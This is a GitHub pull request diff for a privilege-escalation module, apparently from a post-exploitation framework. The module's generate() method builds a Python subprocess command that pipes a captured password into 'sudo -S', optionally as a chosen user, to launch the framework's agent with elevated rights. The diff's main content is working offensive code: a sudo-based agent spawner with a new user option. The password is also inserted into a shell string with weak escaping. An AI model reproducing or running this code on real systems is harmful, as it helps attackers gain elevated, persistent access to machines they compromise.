Skip to content
This repository has been archived by the owner on Dec 30, 2017. It is now read-only.

Two bugfixes and one new feature #48

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 11 additions & 1 deletion lib/modules/privesc/multi/sudo_spawn.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,11 @@ def __init__(self, mainMenu, params=[]):
'Required' : True,
'Value' : ''
},
'User' : {
'Description' : 'Spawn agent as user.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'User password for sudo.',
'Required' : True,
Expand Down Expand Up @@ -98,11 +103,16 @@ def generate(self):
return ""
else:

user = self.options['User']['Value']
password = self.options['Password']['Value']
password = password.replace('"', '\\"')

launcher = launcher.replace('"', '\\"')
launcher = launcher.replace('echo', '')
parts = launcher.split("|")
launcher = "python -c %s" % (parts[0])
script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, launcher)
script = 'import subprocess; subprocess.Popen("echo \'%s\' | sudo -S -u %s %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, user, launcher)
if not user:
script = 'import subprocess; subprocess.Popen("echo \'%s\' | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, launcher)

return script